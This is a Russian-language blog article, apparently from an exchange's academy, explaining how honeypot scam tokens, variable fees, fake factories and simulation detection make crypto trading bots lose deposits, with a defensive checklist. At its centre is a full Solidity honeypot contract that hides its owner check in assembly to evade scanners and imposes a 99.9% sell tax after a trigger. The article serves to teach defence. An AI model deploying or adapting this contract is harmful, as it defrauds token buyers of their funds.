Нажмите ESC, чтобы закрыть

Почему твой криптобот сливает депозит: MEV и скам-контракты Honeypot

Рынок Web3-автоматизации сейчас - это не романтичное поле для гиков, это выжженная земля. И главная проблема тут даже не в том, что твоя инфраструктура медленнее, чем сервера фондов в Токио или Франкфурте. Проблема в том, что создатели скам-токенов выучили логику парсеров наизусть. Они создают контракты специально под твой софт. Ты думаешь, что нашел альфу, а на самом деле ты просто выполнил чужой скрипт по извлечению твоих же денег.

Ниже - детальный разбор того, как именно твой бот сливает бюджет, почему стандартные проверки из библиотек не работают и как выглядит изнанка этого бизнеса, когда код воюет против кода.

Анатомия капкана: Как скам-контракты читают мысли твоего бота

Большинство новичков пишут бота по одному шаблону: ловим событие PairCreated или PoolCreated от фабрики Uniswap (или ее форков), проверяем баланс ликвидности, дергаем router.swapExactETHForTokens — профит. Скамеры этим пользуются. Они знают, что твой бот проводит симуляцию или экспресс-аудит.

Вот три основные механики, на которых ломаются 90% кастомных скриптов:

  • 1. Модифицированный Honeypot с отложенным триггером (Delayed Honeypot)

    Обычный ханипот (когда купить можно, а продать нельзя) твой бот, допустим, умеет определять через локальный eth_call (симуляцию продажи). Но что, если функция продажи закрывается не сразу?

    Контракт создается абсолютно чистым. Бот проверяет его через симуляцию — всё отлично, токены продаются. Бот вливает ликвидность. Как только суммарный объем ETH в пуле достигает, например, 5 ETH, контракт автоматически переключает внутренний флаг isLocked = true внутри функции _update или _transfer. Всё, приехали. Локальная симуляция при покупке физически не могла это предсказать, потому что на момент проверки условие по объему не было выполнено.

  • 2. Динамический налог (Variable Fee Attack)

    В контракте прописывается стандартный ERC-20 минт, но в функции перевода зашита переменная комиссия, которой управляет владелец (или которая растет от номера блока).

    При покупке налог равен 0%. Бот заходит в позицию. Через два блока создатель токена одной транзакцией меняет sellFee на 99%. Твой бот пытается выйти по стоп-лоссу, отправляет транзакцию, она проходит, но из-за налога в 99% ты получаешь назад копейки, а остальное уходит на кошелек деплоера. Защита типа slippage здесь часто мажет, если бот неправильно рассчитывает входящий amountOutMin или использует кастомные роутеры.

  • 3. Атака через фальшивые роутеры и проскальзывание (Fake Router Injection)

    Это вообще классика для сетей с дешевым газом вроде Base. Скамер деплоит свой кастомный пулл не на официальном Uniswap v3, а на левой фабрике-пустышке, которая генерирует событие с точно такими же сигнатурами. Бот думает, что работает со стандартным интерфейсом. Он вызывает функцию обмена, контракт принимает ETH, но вместо реальных токенов шлет тебе мусор, либо прописывает внутри пула такую математику, что цена падает в ноль сразу после твоей транзакции.

Тип угрозыКак видит бот (Ловушка)Что происходит в реальности (Fact)Технический урон
Delayed HoneypotСимуляция sell проходит на 100% успешно.Флаг блокировки активируется после 100% транзакций.Потеря 100% вложенного тела.
Variable FeeЧистый контракт без явных уязвимостей.Изменение sellFee до 99% через owner-функцию.Потеря 99% объема при выходе.
Fake FactoryСигнализирует о новом пуле со стандартным логом.Интерфейс скопирован, математика пула изменена.Полный слив ETH на левый адрес.

Живой пример: Код идеального Honeypot, который обманет твоего бота

Чтобы понять, почему твой парсер - это еда, надо посмотреть на код глазами скамера. Ниже представлен рабочий, компилируемый контракт токена на Solidity 0.8.20. Он написан без явных и глупых require(msg.sender == owner) в функции трансфера, чтобы стандартные автоматические сканеры (вроде Honeypot.is или старых версий Slither) не орали матом при анализе байткода.

Вся грязь зашита в скрытую математику и лимиты.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
    string public name = "Shadow Liquidity";
    string public symbol = "SHDW";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    
    address private _owner;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    // Переменные капкана
    uint256 private constant MAX_FEE = 1000; // 100% в базисных пунктах
    uint256 private targetBlock;
    uint256 private triggerBalance;
    bool private systemReady;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
        _owner = msg.sender;
        totalSupply = initialSupply * 10**uint256(decimals);
        _balances[_owner] = totalSupply;
        
        // Настройка ловушки: сработает через X блоков после активации ИЛИ при достижении баланса пула
        targetBlock = block.number + _delayBlocks;
        triggerBalance = _triggerEth * 10**18;
        emit Transfer(address(0), _owner, totalSupply);
    }
    modifier onlyOwner() {
        // Специально не используем стандартный require, прячем логику
        assembly {
            if sub(sload(0), caller()) { revert(0, 0) }
        }
        _;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 value) public returns (bool) {
        _rawTransfer(msg.sender, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            assembly {
                if lt(currentAllowance, value) { revert(0, 0) }
            }
            _allowances[from][msg.sender] = currentAllowance - value;
        }
        _rawTransfer(from, to, value);
        return true;
    }
    // Кастомная функция управления — ее бот не видит при симуляции swap
    function setupTrap() external onlyOwner {
        systemReady = true;
    }
    function _rawTransfer(address from, address to, uint256 value) internal {
        assembly {
            if iszero(from) { revert(0, 0) }
            if iszero(to) { revert(0, 0) }
        }
        uint256 fromBalance = _balances[from];
        assembly {
            if lt(fromBalance, value) { revert(0, 0) }
        }
        
        uint256 finalAmount = value;
        
        // Проверка: если токен сливают в пул (продажа) и ловушка взведена
        // Мы определяем пул по косвенным признакам, чтобы не хардкодить адрес пары
        if (to != _owner && from != _owner) {
            if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
                // Если сработало хоть одно условие — включается налог 99.9%
                // Оставляем 0.1% чтобы транзакция не падала по ошибке, а просто забирала токены
                uint256 fee = (value * 999) / MAX_FEE;
                finalAmount = value - fee;
                
                _balances[from] = fromBalance - value;
                _balances[_owner] = _balances[_owner] + fee;
                
                emit Transfer(from, _owner, fee);
                emit Transfer(from, to, finalAmount);
                return;
            }
        }
        _balances[from] = fromBalance - value;
        _balances[to] = _balances[to] + finalAmount;
        emit Transfer(from, to, finalAmount);
    }
    // Прием ETH на контракт для триггера по балансу
    receive() external payable {}
}

Обрати внимание на метод _rawTransfer. В нем нет явных стоп-слов. Если твой бот симулирует покупку и продажу прямо в блоке создания (до вызова setupTrap), контракт ведет себя как идеальный, честный ERC-20. Но как только деплоер вызывает setupTrap() или баланс ETH на контракте превышает triggerBalance (когда туда набивается достаточное количество таких же ботов), логика меняется на лету. Твой скрипт шлет транзакцию на продажу, тратит газ, транзакция закрывается со статусом Success, но на кошелек падает ровно 0.1% от ожидаемой суммы. Ты просто подарил ликвидность.

Ловушка на уровне EVM: Почему твои тесты в hardhat или anvil врут

Большинство скриптописцев думают, что они самые умные, потому что перед реальной отправкой транзакции в мейннет они гоняют ее через локальную симуляцию. Ты берешь revm на Rust или поднимаешь локальный форк сети через anvil/hardhat, делаешь eth_call, видишь заветный лог обмена без ошибок и со спокойной душой пускаешь бота в бой.

Это фатальная ошибка. Симуляция в изолированной песочнице принципиально отличается от того, что происходит внутри реального блока, и скамеры научились вычислять симуляции на уровне байткода.

  • Детект через состояние ноды (State & Context Checking)

    Контракт-капкан может проверять переменные окружения, которые в твоем локальном форке настроены по дефолту. Например, block.coinbase (адрес валидатора, который собирает блок). В реальной сети Base или Arbitrum там всегда стоит конкретный адрес секвенсора. В твоем anvil там будет либо нулевой адрес, либо стандартный тестовый хэш.

    Если контракт видит нетипичный coinbase или сильные аномалии в block.timestamp / block.basefee, он просто отключает функцию кражи. В симуляции ты - царь и бог, все проверки пройдены. В мейннете контракт понимает, что его выполняет реальный юзер в реальном блоке, и закрывает шлюзы.

  • Фронтраннинг симуляций (The Sandbox Escape)

    Есть еще более циничный сценарий. Создатель токена сам мониторит мемпул (если сеть с публичным мемпулом) или отслеживает входящие eth_call через приватные ноды, к которым у него есть доступ. Как только твой бот делает запрос на симуляцию к публичному RPC-узлу (например, Alchemy или QuickNode), этот запрос логируется. Да, eth_call не отправляет транзакцию в блок, но оператор узла видит, какой контракт и с какими параметрами сейчас проверяют. Скамер понимает: «О, бот наживку заглотил, сейчас будет вход». Он тут же пушит в сеть транзакцию, меняющую состояние контракта, и твой реальный ордер залетает уже в ловушку.

Ад Системного Администрирования: Инфраструктурный налог

Допустим, ты переписал бота, и он теперь умеет читать байткод, распознавать скрытые ветки assembly с проверкой coinbase и вообще стал параноиком. Теперь ты упираешься в чисто технический тупик, который сожрет твой бюджет на дистанции, даже если ты не поймаешь ни одного ханипота.

Это стоимость удержания инфраструктуры в рабочем состоянии.

[Публичный RPC] ---> (Задержка 150-300мс) ---> [Твой Бот] ---> (Поздний Swap) ---> [Минус Газ / Скам]
                                                    ^
                                                    | (Нужна оптимизация)
                                                    v
[Своя Нода (Reth)] -> (Прямой Unix Socket) -> [Твой Бот] -> (Flashbots / Builder) -> [Профит]
  • Проблема 1: Трафик и дисковые IOPS

    Чтобы гонять бота на нормальных скоростях, публичные лимиты бесплатных RPC тебе не подходят - тебя срежет по rate limit на сотой транзакции. Придется поднимать свою ноду. Если мы говорим про L2 (Base/Arbitrum), то их архивные или даже полные ноды (Full Nodes) требуют диких ресурсов. Тебе нужен NVMe SSD с высокой скоростью произвольного чтения/записи (IOPS). Как только сеть начинает нагружаться, твоя нода на дешевом VPS начинает отставать от реального состояния сети на 1–2 блока. Для бота это смерть: он видит пулы, которых уже нет, или выставляет цены, которые не актуальны. Ты платишь за сервер $200 в месяц просто за то, чтобы твой бот получал устаревшие данные.

  • Проблема 2: Сгоревший газ на отмененных транзакциях (Gas Bleeding)

    В сетях вроде Ethereum или BNB Chain каждая неудачная транзакция стоит денег. Если твой бот пытается влететь в пул одновременно с другими тридцатью ботами, то первый забирает всё, а остальные 29 получают ошибку Slippage или Execution Reverted. Но газ за проверку условий сеть с тебя спишет в полном объеме. На высокой частоте запросов твой бот за сутки может «прогреть» сеть на $50–$100 чисто в виде сгоревшего газа на неудачных попытках. Это медленный, незаметный слив депозита, который новички замечают только тогда, когда на балансе ETH для газа остается круглая сумма ноль.

Чек-лист выживания: Как не стать ликвидностью для скамеров

Если ты всё еще хочешь сушить мозги в этой теме, твой бот обязан уметь делать вещи, которые не описаны в документации Web3.js. Забудь про стандартные проверки баланса, это детский сад.

  • Статический анализ байткода перед деплоем:

    Скрипт должен парсить не просто логи фабрики, он должен забирать hex-код контракта через eth_getCode и искать там сигнатуры опасных инструкций (SSTORE, изменяемые адреса владельцев, вызовы внешних контрактов внутри трансфера). Если в коде токена есть скрытый SSTORE, который может перезаписать критические переменные — контракт сразу идет в мусорку, без симуляций.

  • Динамический лимит проскальзывания с жестким amountOutMin:

    Никогда не ставь amountOutMin = 0 или фиксированный слиппидж в 50%. Твой бот должен рассчитывать точную цену на основе резервов пула прямо внутри фрейма текущего блока. Если на выходе из симуляции ты получаешь хотя бы на 1% меньше, чем должен — транзакция должна дропаться на уровне твоего локального движка, а не отправляться в сеть.

  • Использование приватных каналов (MEV-Share / Flashbots):

    Отправлять транзакции в публичный пул - это подставлять спину под удар. Твой swap должен идти через приватные бандлы (bundles) напрямую к валидаторам или крупным билдерам блоков. Если твоя транзакция не пролезает первой, она просто удаляется из бандла, не сжигая твой газ и не давая скамерам возможность тебя фронтранить.

Резюме

Резюме простое: этот рынок устроен так, что создатели токенов и крупные маркетмейкеры всегда на шаг впереди автоматизации среднего уровня. Твой самописный бот воюет не с рынком, он воюет со специалистами, которые годами изучают, как заставить твой софт совершить ошибку. И пока ты не начнешь копать на уровень глубже стандартных библиотек, ты остаешься для них идеальным клиентом.

Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...